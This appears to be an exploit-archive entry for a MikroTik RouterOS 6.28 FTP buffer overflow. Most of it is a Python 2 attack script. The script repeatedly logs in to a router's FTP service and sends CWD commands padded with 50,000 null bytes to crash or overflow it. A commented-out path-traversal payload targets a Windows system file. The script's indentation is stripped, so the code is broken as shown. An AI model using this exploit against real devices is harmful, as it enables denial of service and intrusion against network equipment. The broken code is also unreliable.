Mikrotik RouterOS 6.28 FTP Buffer Overflow

Mikrotik RouterOS version 6.28 suffers from an FTP related buffer overflow vulnerability.


MD5 | 827d14f4e1d2dc6a89e825e1206b9278

import time
import socket
from ftplib import FTP
import struct
# mikrotik RouterOS v6.28 FTp CWD command Buffer Overflow
# sultan albalawi
# win7

from subprocess import *
host='192.168.88.1'
port=21
u = ""#username
p = ""#password

def myB():
myB= '\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20'
myB+='\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d'
myB+='\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20'
myB+='\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20'
myB+='\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74'
myB+='\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a'
myB+='\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
myB+='\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e'
myB+='\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50'
myB+='\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d'
myB+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a'
myB+='\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
myB+='\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20'
myB+='\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d'
myB+='\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20'
myB+='\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20'
myB+='\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
myB+='\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20'
myB+='\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20'
myB+='\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20'
myB+='\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
myB+='\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60'
myB+='\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e'
myB+='\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
myB+='\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f'
myB+='\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20'
myB+='\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77'
myB+='\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20'
myB+='\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20'
myB+='\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27'
myB+='\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f'
myB+='\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d'
myB+='\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20'
myB+='\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27'
myB+='\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20'
myB+='\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
myB+='\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20'
myB+='\n'
myB+='\x41\x75\x74\x68\x6f\x72\x3a\x20\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x65\x78\x70\x6c\x6f\x69\x74\x20\x3a\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x65\x78\x70\x6c\x6f\x69\x74\x2d\x64\x62\x2e\x63\x6f\x6d\x2f\x61\x75\x74\x68\x6f\x72\x2f\x3f\x61\x3d\x38\x37\x34\x31\n'
myB+='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n'
myB+="\x61\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"
print myB
myB()
try:
pause=3
command=["GET ",
"ABOR ",
"ACCT ",
"ALLO ",
"ABOR ",
"APPE ",
"CDUP ",
"CWD ",
"DELE ",
"HELP ",
"LIST ",
"MDTM ",
"MKD ",
"MODE ",
"NLST ",
"NOOP ",
"PASS ",
"PASV ",
"PORT ",
"PWD ",
"QUIT ",
"REIN ",
"REST ",
"RETR ",
"RMD ",
"RNFR ",
"RNTO ",
"SITE ",
"SIZE ",
"STAT ",
"STOR ",
"STOU ",
"STRU ",
"SYST ",
"TYPE ",
"USER ",
"XCWD ",
"XPWD ",
"XCUP ",
"CDUP ",
"XMKD ",
"XRMD ",
"STOU ",]
print len(command)
m=5000
for i, val in enumerate(command):
for dd in range(m):
#evil="//../"*260+'windows/system.ini'
evil = "\0"*50000
evilTYPE= (command[7]+evil)

print i, command[7],
'''
evilTYPE1= (command[7]+evil)
evilTYPE2= (command[8]+evil)
evilTYPE3= (command[33]+evil)
evilTYPE4= (command[13]+evil)
evilTYPE5= (command[16]+evil)
evilTYPE6= (command[18]+evil)
evilTYPE7= (command[21]+evil)
evilTYPE8= (command[10]+evil)
evilTYPE9= (command[31]+evil)
evilTYPE10= (command[14]+evil)
evilTYPE11= (command[10]+evil)
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
sock.close()
while True:
ftp = FTP()
ftp.connect(host,port)
ftp.login(u,p)
for i, val in enumerate(command):
ftp.sendcmd(evilTYPE)
ftp.sendcmd(evilTYPE)

'''
ftp.sendcmd(evilTYPE1)
ftp.sendcmd(evilTYPE2)
ftp.sendcmd(evilTYPE3)
ftp.sendcmd(evilTYPE4)
ftp.sendcmd(evilTYPE5)
ftp.sendcmd(evilTYPE6)
ftp.sendcmd(evilTYPE7)
ftp.sendcmd(evilTYPE8)
ftp.sendcmd(evilTYPE9)
ftp.sendcmd(evilTYPE10)
ftp.sendcmd(evilTYPE11)
'''
print ftp.sendcmd(evilTYPE)
#ftp.delete(ftp.sendcmd(evilTYPE))



ftp.close()
time.sleep(pause)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
open = sock.connect_ex((host,port))
sock.close()
except Exception, msg:
print msg,"host"

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